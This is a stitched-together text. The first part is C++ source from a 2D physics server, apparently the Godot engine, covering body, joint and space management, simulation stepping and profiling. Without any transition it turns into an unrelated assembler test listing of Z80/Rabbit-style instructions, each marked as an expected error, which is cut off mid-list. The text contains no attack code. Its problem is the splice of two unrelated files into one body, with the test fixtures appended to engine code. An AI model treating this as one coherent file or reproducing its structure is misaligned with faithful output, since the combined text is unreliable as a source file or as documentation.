ObjectID(), p_method); } /* BODY API */ RID PhysicsServer2DSW::body_create() { Body2DSW *body = memnew(Body2DSW); RID rid = body_owner.make_rid(body); body->set_self(rid); return rid; } void PhysicsServer2DSW::body_set_space(RID p_body, RID p_space) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); Space2DSW *space = nullptr; if (p_space.is_valid()) { space = space_owner.getornull(p_space); ERR_FAIL_COND(!space); } if (body->get_space() == space) { return; //pointless } body->clear_constraint_map(); body->set_space(space); }; RID PhysicsServer2DSW::body_get_space(RID p_body) const { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND_V(!body, RID()); Space2DSW *space = body->get_space(); if (!space) { return RID(); } return space->get_self(); }; void PhysicsServer2DSW::body_set_mode(RID p_body, BodyMode p_mode) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); FLUSH_QUERY_CHECK(body); body->set_mode(p_mode); }; PhysicsServer2D::BodyMode PhysicsServer2DSW::body_get_mode(RID p_body) const { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND_V(!body, BODY_MODE_STATIC); return body->get_mode(); }; void PhysicsServer2DSW::body_add_shape(RID p_body, RID p_shape, const Transform2D &p_transform, bool p_disabled) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); Shape2DSW *shape = shape_owner.getornull(p_shape); ERR_FAIL_COND(!shape); body->add_shape(shape, p_transform, p_disabled); } void PhysicsServer2DSW::body_set_shape(RID p_body, int p_shape_idx, RID p_shape) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); Shape2DSW *shape = shape_owner.getornull(p_shape); ERR_FAIL_COND(!shape); ERR_FAIL_COND(!shape->is_configured()); body->set_shape(p_shape_idx, shape); } void PhysicsServer2DSW::body_set_shape_transform(RID p_body, int p_shape_idx, const Transform2D &p_transform) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); body->set_shape_transform(p_shape_idx, p_transform); } void PhysicsServer2DSW::body_set_shape_metadata(RID p_body, int p_shape_idx, const Variant &p_metadata) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); body->set_shape_metadata(p_shape_idx, p_metadata); } Variant PhysicsServer2DSW::body_get_shape_metadata(RID p_body, int p_shape_idx) const { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND_V(!body, Variant()); return body->get_shape_metadata(p_shape_idx); } int PhysicsServer2DSW::body_get_shape_count(RID p_body) const { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND_V(!body, -1); return body->get_shape_count(); } RID PhysicsServer2DSW::body_get_shape(RID p_body, int p_shape_idx) const { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND_V(!body, RID()); Shape2DSW *shape = body->get_shape(p_shape_idx); ERR_FAIL_COND_V(!shape, RID()); return shape->get_self(); } Transform2D PhysicsServer2DSW::body_get_shape_transform(RID p_body, int p_shape_idx) const { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND_V(!body, Transform2D()); return body->get_shape_transform(p_shape_idx); } void PhysicsServer2DSW::body_remove_shape(RID p_body, int p_shape_idx) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); body->remove_shape(p_shape_idx); } void PhysicsServer2DSW::body_clear_shapes(RID p_body) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); while (body->get_shape_count()) { body->remove_shape(0); } } void PhysicsServer2DSW::body_set_shape_disabled(RID p_body, int p_shape_idx, bool p_disabled) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); ERR_FAIL_INDEX(p_shape_idx, body->get_shape_count()); FLUSH_QUERY_CHECK(body); body->set_shape_as_disabled(p_shape_idx, p_disabled); } void PhysicsServer2DSW::body_set_shape_as_one_way_collision(RID p_body, int p_shape_idx, bool p_enable, float p_margin) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); ERR_FAIL_INDEX(p_shape_idx, body->get_shape_count()); FLUSH_QUERY_CHECK(body); body->set_shape_as_one_way_collision(p_shape_idx, p_enable, p_margin); } void PhysicsServer2DSW::body_set_continuous_collision_detection_mode(RID p_body, CCDMode p_mode) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); body->set_continuous_collision_detection_mode(p_mode); } PhysicsServer2DSW::CCDMode PhysicsServer2DSW::body_get_continuous_collision_detection_mode(RID p_body) const { const Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND_V(!body, CCD_MODE_DISABLED); return body->get_continuous_collision_detection_mode(); } void PhysicsServer2DSW::body_attach_object_instance_id(RID p_body, ObjectID p_id) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); body->set_instance_id(p_id); }; ObjectID PhysicsServer2DSW::body_get_object_instance_id(RID p_body) const { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND_V(!body, ObjectID()); return body->get_instance_id(); }; void PhysicsServer2DSW::body_attach_canvas_instance_id(RID p_body, ObjectID p_id) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); body->set_canvas_instance_id(p_id); }; ObjectID PhysicsServer2DSW::body_get_canvas_instance_id(RID p_body) const { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND_V(!body, ObjectID()); return body->get_canvas_instance_id(); }; void PhysicsServer2DSW::body_set_collision_layer(RID p_body, uint32_t p_layer) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); body->set_collision_layer(p_layer); }; uint32_t PhysicsServer2DSW::body_get_collision_layer(RID p_body) const { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND_V(!body, 0); return body->get_collision_layer(); }; void PhysicsServer2DSW::body_set_collision_mask(RID p_body, uint32_t p_mask) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); body->set_collision_mask(p_mask); }; uint32_t PhysicsServer2DSW::body_get_collision_mask(RID p_body) const { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND_V(!body, 0); return body->get_collision_mask(); }; void PhysicsServer2DSW::body_set_param(RID p_body, BodyParameter p_param, real_t p_value) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); body->set_param(p_param, p_value); }; real_t PhysicsServer2DSW::body_get_param(RID p_body, BodyParameter p_param) const { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND_V(!body, 0); return body->get_param(p_param); }; void PhysicsServer2DSW::body_set_state(RID p_body, BodyState p_state, const Variant &p_variant) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); body->set_state(p_state, p_variant); }; Variant PhysicsServer2DSW::body_get_state(RID p_body, BodyState p_state) const { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND_V(!body, Variant()); return body->get_state(p_state); }; void PhysicsServer2DSW::body_set_applied_force(RID p_body, const Vector2 &p_force) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); body->set_applied_force(p_force); body->wakeup(); }; Vector2 PhysicsServer2DSW::body_get_applied_force(RID p_body) const { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND_V(!body, Vector2()); return body->get_applied_force(); }; void PhysicsServer2DSW::body_set_applied_torque(RID p_body, real_t p_torque) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); body->set_applied_torque(p_torque); body->wakeup(); }; real_t PhysicsServer2DSW::body_get_applied_torque(RID p_body) const { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND_V(!body, 0); return body->get_applied_torque(); }; void PhysicsServer2DSW::body_apply_central_impulse(RID p_body, const Vector2 &p_impulse) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); body->apply_central_impulse(p_impulse); body->wakeup(); } void PhysicsServer2DSW::body_apply_torque_impulse(RID p_body, real_t p_torque) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); _update_shapes(); body->apply_torque_impulse(p_torque); body->wakeup(); } void PhysicsServer2DSW::body_apply_impulse(RID p_body, const Vector2 &p_impulse, const Vector2 &p_position) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); _update_shapes(); body->apply_impulse(p_impulse, p_position); body->wakeup(); }; void PhysicsServer2DSW::body_add_central_force(RID p_body, const Vector2 &p_force) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); body->add_central_force(p_force); body->wakeup(); }; void PhysicsServer2DSW::body_add_force(RID p_body, const Vector2 &p_force, const Vector2 &p_position) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); body->add_force(p_force, p_position); body->wakeup(); }; void PhysicsServer2DSW::body_add_torque(RID p_body, real_t p_torque) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); body->add_torque(p_torque); body->wakeup(); }; void PhysicsServer2DSW::body_set_axis_velocity(RID p_body, const Vector2 &p_axis_velocity) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); _update_shapes(); Vector2 v = body->get_linear_velocity(); Vector2 axis = p_axis_velocity.normalized(); v -= axis * axis.dot(v); v += p_axis_velocity; body->set_linear_velocity(v); body->wakeup(); }; void PhysicsServer2DSW::body_add_collision_exception(RID p_body, RID p_body_b) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); body->add_exception(p_body_b); body->wakeup(); }; void PhysicsServer2DSW::body_remove_collision_exception(RID p_body, RID p_body_b) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); body->remove_exception(p_body_b); body->wakeup(); }; void PhysicsServer2DSW::body_get_collision_exceptions(RID p_body, List<RID> *p_exceptions) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); for (int i = 0; i < body->get_exceptions().size(); i++) { p_exceptions->push_back(body->get_exceptions()[i]); } }; void PhysicsServer2DSW::body_set_contacts_reported_depth_threshold(RID p_body, real_t p_threshold) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); }; real_t PhysicsServer2DSW::body_get_contacts_reported_depth_threshold(RID p_body) const { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND_V(!body, 0); return 0; }; void PhysicsServer2DSW::body_set_omit_force_integration(RID p_body, bool p_omit) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); body->set_omit_force_integration(p_omit); }; bool PhysicsServer2DSW::body_is_omitting_force_integration(RID p_body) const { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND_V(!body, false); return body->get_omit_force_integration(); }; void PhysicsServer2DSW::body_set_max_contacts_reported(RID p_body, int p_contacts) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); body->set_max_contacts_reported(p_contacts); } int PhysicsServer2DSW::body_get_max_contacts_reported(RID p_body) const { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND_V(!body, -1); return body->get_max_contacts_reported(); } void PhysicsServer2DSW::body_set_force_integration_callback(RID p_body, Object *p_receiver, const StringName &p_method, const Variant &p_udata) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); body->set_force_integration_callback(p_receiver ? p_receiver->get_instance_id() : ObjectID(), p_method, p_udata); } bool PhysicsServer2DSW::body_collide_shape(RID p_body, int p_body_shape, RID p_shape, const Transform2D &p_shape_xform, const Vector2 &p_motion, Vector2 *r_results, int p_result_max, int &r_result_count) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND_V(!body, false); ERR_FAIL_INDEX_V(p_body_shape, body->get_shape_count(), false); return shape_collide(body->get_shape(p_body_shape)->get_self(), body->get_transform() * body->get_shape_transform(p_body_shape), Vector2(), p_shape, p_shape_xform, p_motion, r_results, p_result_max, r_result_count); } void PhysicsServer2DSW::body_set_pickable(RID p_body, bool p_pickable) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND(!body); body->set_pickable(p_pickable); } bool PhysicsServer2DSW::body_test_motion(RID p_body, const Transform2D &p_from, const Vector2 &p_motion, bool p_infinite_inertia, real_t p_margin, MotionResult *r_result, bool p_exclude_raycast_shapes) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND_V(!body, false); ERR_FAIL_COND_V(!body->get_space(), false); ERR_FAIL_COND_V(body->get_space()->is_locked(), false); _update_shapes(); return body->get_space()->test_body_motion(body, p_from, p_motion, p_infinite_inertia, p_margin, r_result, p_exclude_raycast_shapes); } int PhysicsServer2DSW::body_test_ray_separation(RID p_body, const Transform2D &p_transform, bool p_infinite_inertia, Vector2 &r_recover_motion, SeparationResult *r_results, int p_result_max, float p_margin) { Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND_V(!body, false); ERR_FAIL_COND_V(!body->get_space(), false); ERR_FAIL_COND_V(body->get_space()->is_locked(), false); return body->get_space()->test_body_ray_separation(body, p_transform, p_infinite_inertia, r_recover_motion, r_results, p_result_max, p_margin); } PhysicsDirectBodyState2D *PhysicsServer2DSW::body_get_direct_state(RID p_body) { ERR_FAIL_COND_V_MSG((using_threads && !doing_sync), nullptr, "Body state is inaccessible right now, wait for iteration or physics process notification."); if (!body_owner.owns(p_body)) { return nullptr; } Body2DSW *body = body_owner.getornull(p_body); ERR_FAIL_COND_V(!body, nullptr); ERR_FAIL_COND_V(!body->get_space(), nullptr); ERR_FAIL_COND_V_MSG(body->get_space()->is_locked(), nullptr, "Body state is inaccessible right now, wait for iteration or physics process notification."); direct_state->body = body; return direct_state; } /* JOINT API */ void PhysicsServer2DSW::joint_set_param(RID p_joint, JointParam p_param, real_t p_value) { Joint2DSW *joint = joint_owner.getornull(p_joint); ERR_FAIL_COND(!joint); switch (p_param) { case JOINT_PARAM_BIAS: joint->set_bias(p_value); break; case JOINT_PARAM_MAX_BIAS: joint->set_max_bias(p_value); break; case JOINT_PARAM_MAX_FORCE: joint->set_max_force(p_value); break; } } real_t PhysicsServer2DSW::joint_get_param(RID p_joint, JointParam p_param) const { const Joint2DSW *joint = joint_owner.getornull(p_joint); ERR_FAIL_COND_V(!joint, -1); switch (p_param) { case JOINT_PARAM_BIAS: return joint->get_bias(); break; case JOINT_PARAM_MAX_BIAS: return joint->get_max_bias(); break; case JOINT_PARAM_MAX_FORCE: return joint->get_max_force(); break; } return 0; } void PhysicsServer2DSW::joint_disable_collisions_between_bodies(RID p_joint, const bool p_disable) { Joint2DSW *joint = joint_owner.getornull(p_joint); ERR_FAIL_COND(!joint); joint->disable_collisions_between_bodies(p_disable); if (2 == joint->get_body_count()) { Body2DSW *body_a = *joint->get_body_ptr(); Body2DSW *body_b = *(joint->get_body_ptr() + 1); if (p_disable) { body_add_collision_exception(body_a->get_self(), body_b->get_self()); body_add_collision_exception(body_b->get_self(), body_a->get_self()); } else { body_remove_collision_exception(body_a->get_self(), body_b->get_self()); body_remove_collision_exception(body_b->get_self(), body_a->get_self()); } } } bool PhysicsServer2DSW::joint_is_disabled_collisions_between_bodies(RID p_joint) const { const Joint2DSW *joint = joint_owner.getornull(p_joint); ERR_FAIL_COND_V(!joint, true); return joint->is_disabled_collisions_between_bodies(); } RID PhysicsServer2DSW::pin_joint_create(const Vector2 &p_pos, RID p_body_a, RID p_body_b) { Body2DSW *A = body_owner.getornull(p_body_a); ERR_FAIL_COND_V(!A, RID()); Body2DSW *B = nullptr; if (body_owner.owns(p_body_b)) { B = body_owner.getornull(p_body_b); ERR_FAIL_COND_V(!B, RID()); } Joint2DSW *joint = memnew(PinJoint2DSW(p_pos, A, B)); RID self = joint_owner.make_rid(joint); joint->set_self(self); return self; } RID PhysicsServer2DSW::groove_joint_create(const Vector2 &p_a_groove1, const Vector2 &p_a_groove2, const Vector2 &p_b_anchor, RID p_body_a, RID p_body_b) { Body2DSW *A = body_owner.getornull(p_body_a); ERR_FAIL_COND_V(!A, RID()); Body2DSW *B = body_owner.getornull(p_body_b); ERR_FAIL_COND_V(!B, RID()); Joint2DSW *joint = memnew(GrooveJoint2DSW(p_a_groove1, p_a_groove2, p_b_anchor, A, B)); RID self = joint_owner.make_rid(joint); joint->set_self(self); return self; } RID PhysicsServer2DSW::damped_spring_joint_create(const Vector2 &p_anchor_a, const Vector2 &p_anchor_b, RID p_body_a, RID p_body_b) { Body2DSW *A = body_owner.getornull(p_body_a); ERR_FAIL_COND_V(!A, RID()); Body2DSW *B = body_owner.getornull(p_body_b); ERR_FAIL_COND_V(!B, RID()); Joint2DSW *joint = memnew(DampedSpringJoint2DSW(p_anchor_a, p_anchor_b, A, B)); RID self = joint_owner.make_rid(joint); joint->set_self(self); return self; } void PhysicsServer2DSW::pin_joint_set_param(RID p_joint, PinJointParam p_param, real_t p_value) { Joint2DSW *j = joint_owner.getornull(p_joint); ERR_FAIL_COND(!j); ERR_FAIL_COND(j->get_type() != JOINT_PIN); PinJoint2DSW *pin_joint = static_cast<PinJoint2DSW *>(j); pin_joint->set_param(p_param, p_value); } real_t PhysicsServer2DSW::pin_joint_get_param(RID p_joint, PinJointParam p_param) const { Joint2DSW *j = joint_owner.getornull(p_joint); ERR_FAIL_COND_V(!j, 0); ERR_FAIL_COND_V(j->get_type() != JOINT_PIN, 0); PinJoint2DSW *pin_joint = static_cast<PinJoint2DSW *>(j); return pin_joint->get_param(p_param); } void PhysicsServer2DSW::damped_spring_joint_set_param(RID p_joint, DampedSpringParam p_param, real_t p_value) { Joint2DSW *j = joint_owner.getornull(p_joint); ERR_FAIL_COND(!j); ERR_FAIL_COND(j->get_type() != JOINT_DAMPED_SPRING); DampedSpringJoint2DSW *dsj = static_cast<DampedSpringJoint2DSW *>(j); dsj->set_param(p_param, p_value); } real_t PhysicsServer2DSW::damped_spring_joint_get_param(RID p_joint, DampedSpringParam p_param) const { Joint2DSW *j = joint_owner.getornull(p_joint); ERR_FAIL_COND_V(!j, 0); ERR_FAIL_COND_V(j->get_type() != JOINT_DAMPED_SPRING, 0); DampedSpringJoint2DSW *dsj = static_cast<DampedSpringJoint2DSW *>(j); return dsj->get_param(p_param); } PhysicsServer2D::JointType PhysicsServer2DSW::joint_get_type(RID p_joint) const { Joint2DSW *joint = joint_owner.getornull(p_joint); ERR_FAIL_COND_V(!joint, JOINT_PIN); return joint->get_type(); } void PhysicsServer2DSW::free(RID p_rid) { _update_shapes(); // just in case if (shape_owner.owns(p_rid)) { Shape2DSW *shape = shape_owner.getornull(p_rid); while (shape->get_owners().size()) { ShapeOwner2DSW *so = shape->get_owners().front()->key(); so->remove_shape(shape); } shape_owner.free(p_rid); memdelete(shape); } else if (body_owner.owns(p_rid)) { Body2DSW *body = body_owner.getornull(p_rid); /* if (body->get_state_query()) _clear_query(body->get_state_query()); if (body->get_direct_state_query()) _clear_query(body->get_direct_state_query()); */ body_set_space(p_rid, RID()); while (body->get_shape_count()) { body->remove_shape(0); } body_owner.free(p_rid); memdelete(body); } else if (area_owner.owns(p_rid)) { Area2DSW *area = area_owner.getornull(p_rid); /* if (area->get_monitor_query()) _clear_query(area->get_monitor_query()); */ area->set_space(nullptr); while (area->get_shape_count()) { area->remove_shape(0); } area_owner.free(p_rid); memdelete(area); } else if (space_owner.owns(p_rid)) { Space2DSW *space = space_owner.getornull(p_rid); while (space->get_objects().size()) { CollisionObject2DSW *co = (CollisionObject2DSW *)space->get_objects().front()->get(); co->set_space(nullptr); } active_spaces.erase(space); free(space->get_default_area()->get_self()); space_owner.free(p_rid); memdelete(space); } else if (joint_owner.owns(p_rid)) { Joint2DSW *joint = joint_owner.getornull(p_rid); joint_owner.free(p_rid); memdelete(joint); } else { ERR_FAIL_MSG("Invalid ID."); } }; void PhysicsServer2DSW::set_active(bool p_active) { active = p_active; }; void PhysicsServer2DSW::init() { doing_sync = false; last_step = 0.001; iterations = 8; // 8? stepper = memnew(Step2DSW); direct_state = memnew(PhysicsDirectBodyState2DSW); }; void PhysicsServer2DSW::step(real_t p_step) { if (!active) { return; } _update_shapes(); doing_sync = false; last_step = p_step; PhysicsDirectBodyState2DSW::singleton->step = p_step; island_count = 0; active_objects = 0; collision_pairs = 0; for (Set<const Space2DSW *>::Element *E = active_spaces.front(); E; E = E->next()) { stepper->step((Space2DSW *)E->get(), p_step, iterations); island_count += E->get()->get_island_count(); active_objects += E->get()->get_active_objects(); collision_pairs += E->get()->get_collision_pairs(); } }; void PhysicsServer2DSW::sync() { doing_sync = true; }; void PhysicsServer2DSW::flush_queries() { if (!active) { return; } flushing_queries = true; uint64_t time_beg = OS::get_singleton()->get_ticks_usec(); for (Set<const Space2DSW *>::Element *E = active_spaces.front(); E; E = E->next()) { Space2DSW *space = (Space2DSW *)E->get(); space->call_queries(); } flushing_queries = false; if (EngineDebugger::is_profiling("servers")) { uint64_t total_time[Space2DSW::ELAPSED_TIME_MAX]; static const char *time_name[Space2DSW::ELAPSED_TIME_MAX] = { "integrate_forces", "generate_islands", "setup_constraints", "solve_constraints", "integrate_velocities" }; for (int i = 0; i < Space2DSW::ELAPSED_TIME_MAX; i++) { total_time[i] = 0; } for (Set<const Space2DSW *>::Element *E = active_spaces.front(); E; E = E->next()) { for (int i = 0; i < Space2DSW::ELAPSED_TIME_MAX; i++) { total_time[i] += E->get()->get_elapsed_time(Space2DSW::ElapsedTime(i)); } } Array values; values.resize(Space2DSW::ELAPSED_TIME_MAX * 2); for (int i = 0; i < Space2DSW::ELAPSED_TIME_MAX; i++) { values[i * 2 + 0] = time_name[i]; values[i * 2 + 1] = USEC_TO_SEC(total_time[i]); } values.push_back("flush_queries"); values.push_back(USEC_TO_SEC(OS::get_singleton()->get_ticks_usec() - time_beg)); values.push_front("physics_2d"); EngineDebugger::profiler_add_frame_data("servers", values); } } void PhysicsServer2DSW::end_sync() { doing_sync = false; } void PhysicsServer2DSW::finish() { memdelete(stepper); memdelete(direct_state); }; void PhysicsServer2DSW::_update_shapes() { while (pending_shape_update_list.first()) { pending_shape_update_list.first()->self()->_shape_changed(); pending_shape_update_list.remove(pending_shape_update_list.first()); } } int PhysicsServer2DSW::get_process_info(ProcessInfo p_info) { switch (p_info) { case INFO_ACTIVE_OBJECTS: { return active_objects; } break; case INFO_COLLISION_PAIRS: { return collision_pairs; } break; case INFO_ISLAND_COUNT: { return island_count; } break; } return 0; } PhysicsServer2DSW *PhysicsServer2DSW::singletonsw = nullptr; PhysicsServer2DSW::PhysicsServer2DSW() { singletonsw = this; BroadPhase2DSW::create_func = BroadPhase2DHashGrid::_create; //BroadPhase2DSW::create_func=BroadPhase2DBasic::_create; active = true; island_count = 0; active_objects = 0; collision_pairs = 0; using_threads = int(ProjectSettings::get_singleton()->get("physics/2d/thread_model")) == 2; flushing_queries = false; };
adc a', (hl) ; Error adc a', (ix) ; Error adc a', (ix+127) ; Error adc a', (ix-128) ; Error adc a', (iy) ; Error adc a', (iy+127) ; Error adc a', (iy-128) ; Error adc a', -128 ; Error adc a', 127 ; Error adc a', 255 ; Error adc a', a ; Error adc a', b ; Error adc a', c ; Error adc a', d ; Error adc a', e ; Error adc a', h ; Error adc a', l ; Error adc a, ixh ; Error adc a, ixl ; Error adc a, iyh ; Error adc a, iyl ; Error adc hl', bc ; Error adc hl', de ; Error adc hl', hl ; Error adc hl', sp ; Error adc ixh ; Error adc ixl ; Error adc iyh ; Error adc iyl ; Error add a', (hl) ; Error add a', (ix) ; Error add a', (ix+127) ; Error add a', (ix-128) ; Error add a', (iy) ; Error add a', (iy+127) ; Error add a', (iy-128) ; Error add a', -128 ; Error add a', 127 ; Error add a', 255 ; Error add a', a ; Error add a', b ; Error add a', c ; Error add a', d ; Error add a', e ; Error add a', h ; Error add a', l ; Error add a, ixh ; Error add a, ixl ; Error add a, iyh ; Error add a, iyl ; Error add bc, -32768 ; Error add bc, 32767 ; Error add bc, 65535 ; Error add bc, a ; Error add de, -32768 ; Error add de, 32767 ; Error add de, 65535 ; Error add de, a ; Error add hl', bc ; Error add hl', de ; Error add hl', hl ; Error add hl', sp ; Error add hl, -32768 ; Error add hl, 32767 ; Error add hl, 65535 ; Error add hl, a ; Error add ixh ; Error add ixl ; Error add iyh ; Error add iyl ; Error add sp, -128 ; Error add sp, 127 ; Error altd adc (hl) ; Error altd adc (ix) ; Error altd adc (ix+127) ; Error altd adc (ix-128) ; Error altd adc (iy) ; Error altd adc (iy+127) ; Error altd adc (iy-128) ; Error altd adc -128 ; Error altd adc 127 ; Error altd adc 255 ; Error altd adc a ; Error altd adc a, (hl) ; Error altd adc a, (ix) ; Error altd adc a, (ix+127) ; Error altd adc a, (ix-128) ; Error altd adc a, (iy) ; Error altd adc a, (iy+127) ; Error altd adc a, (iy-128) ; Error altd adc a, -128 ; Error altd adc a, 127 ; Error altd adc a, 255 ; Error altd adc a, a ; Error altd adc a, b ; Error altd adc a, c ; Error altd adc a, d ; Error altd adc a, e ; Error altd adc a, h ; Error altd adc a, l ; Error altd adc b ; Error altd adc c ; Error altd adc d ; Error altd adc e ; Error altd adc h ; Error altd adc hl, bc ; Error altd adc hl, de ; Error altd adc hl, hl ; Error altd adc hl, sp ; Error altd adc l ; Error altd add (hl) ; Error altd add (ix) ; Error altd add (ix+127) ; Error altd add (ix-128) ; Error altd add (iy) ; Error altd add (iy+127) ; Error altd add (iy-128) ; Error altd add -128 ; Error altd add 127 ; Error altd add 255 ; Error altd add a ; Error altd add a, (hl) ; Error altd add a, (ix) ; Error altd add a, (ix+127) ; Error altd add a, (ix-128) ; Error altd add a, (iy) ; Error altd add a, (iy+127) ; Error altd add a, (iy-128) ; Error altd add a, -128 ; Error altd add a, 127 ; Error altd add a, 255 ; Error altd add a, a ; Error altd add a, b ; Error altd add a, c ; Error altd add a, d ; Error altd add a, e ; Error altd add a, h ; Error altd add a, l ; Error altd add b ; Error altd add c ; Error altd add d ; Error altd add e ; Error altd add h ; Error altd add hl, bc ; Error altd add hl, de ; Error altd add hl, hl ; Error altd add hl, sp ; Error altd add l ; Error altd and (hl) ; Error altd and (ix) ; Error altd and (ix+127) ; Error altd and (ix-128) ; Error altd and (iy) ; Error altd and (iy+127) ; Error altd and (iy-128) ; Error altd and -128 ; Error altd and 127 ; Error altd and 255 ; Error altd and a ; Error altd and a, (hl) ; Error altd and a, (ix) ; Error altd and a, (ix+127) ; Error altd and a, (ix-128) ; Error altd and a, (iy) ; Error altd and a, (iy+127) ; Error altd and a, (iy-128) ; Error altd and a, -128 ; Error altd and a, 127 ; Error altd and a, 255 ; Error altd and a, a ; Error altd and a, b ; Error altd and a, c ; Error altd and a, d ; Error altd and a, e ; Error altd and a, h ; Error altd and a, l ; Error altd and b ; Error altd and c ; Error altd and d ; Error altd and e ; Error altd and h ; Error altd and hl, de ; Error altd and ix, de ; Error altd and iy, de ; Error altd and l ; Error altd bit -1, (hl) ; Error altd bit -1, (hl) ; Error altd bit -1, (ix) ; Error altd bit -1, (ix) ; Error altd bit -1, (ix+127) ; Error altd bit -1, (ix+127) ; Error altd bit -1, (ix-128) ; Error altd bit -1, (ix-128) ; Error altd bit -1, (iy) ; Error altd bit -1, (iy) ; Error altd bit -1, (iy+127) ; Error altd bit -1, (iy+127) ; Error altd bit -1, (iy-128) ; Error altd bit -1, (iy-128) ; Error altd bit -1, a ; Error altd bit -1, a ; Error altd bit -1, b ; Error altd bit -1, b ; Error altd bit -1, c ; Error altd bit -1, c ; Error altd bit -1, d ; Error altd bit -1, d ; Error altd bit -1, e ; Error altd bit -1, e ; Error altd bit -1, h ; Error altd bit -1, h ; Error altd bit -1, l ; Error altd bit -1, l ; Error altd bit 0, (hl) ; Error altd bit 0, (ix) ; Error altd bit 0, (ix+127) ; Error altd bit 0, (ix-128) ; Error altd bit 0, (iy) ; Error altd bit 0, (iy+127) ; Error altd bit 0, (iy-128) ; Error altd bit 0, a ; Error altd bit 0, b ; Error altd bit 0, c ; Error altd bit 0, d ; Error altd bit 0, e ; Error altd bit 0, h ; Error altd bit 0, l ; Error altd bit 1, (hl) ; Error altd bit 1, (ix) ; Error altd bit 1, (ix+127) ; Error altd bit 1, (ix-128) ; Error altd bit 1, (iy) ; Error altd bit 1, (iy+127) ; Error altd bit 1, (iy-128) ; Error altd bit 1, a ; Error altd bit 1, b ; Error altd bit 1, c ; Error altd bit 1, d ; Error altd bit 1, e ; Error altd bit 1, h ; Error altd bit 1, l ; Error altd bit 2, (hl) ; Error altd bit 2, (ix) ; Error altd bit 2, (ix+127) ; Error altd bit 2, (ix-128) ; Error altd bit 2, (iy) ; Error altd bit 2, (iy+127) ; Error altd bit 2, (iy-128) ; Error altd bit 2, a ; Error altd bit 2, b ; Error altd bit 2, c ; Error altd bit 2, d ; Error altd bit 2, e ; Error altd bit 2, h ; Error altd bit 2, l ; Error altd bit 3, (hl) ; Error altd bit 3, (ix) ; Error altd bit 3, (ix+127) ; Error altd bit 3, (ix-128) ; Error altd bit 3, (iy) ; Error altd bit 3, (iy+127) ; Error altd bit 3, (iy-128) ; Error altd bit 3, a ; Error altd bit 3, b ; Error altd bit 3, c ; Error altd bit 3, d ; Error altd bit 3, e ; Error altd bit 3, h ; Error altd bit 3, l ; Error altd bit 4, (hl) ; Error altd bit 4, (ix) ; Error altd bit 4, (ix+127) ; Error altd bit 4, (ix-128) ; Error altd bit 4, (iy) ; Error altd bit 4, (iy+127) ; Error altd bit 4, (iy-128) ; Error altd bit 4, a ; Error altd bit 4, b ; Error altd bit 4, c ; Error altd bit 4, d ; Error altd bit 4, e ; Error altd bit 4, h ; Error altd bit 4, l ; Error altd bit 5, (hl) ; Error altd bit 5, (ix) ; Error altd bit 5, (ix+127) ; Error altd bit 5, (ix-128) ; Error altd bit 5, (iy) ; Error altd bit 5, (iy+127) ; Error altd bit 5, (iy-128) ; Error altd bit 5, a ; Error altd bit 5, b ; Error altd bit 5, c ; Error 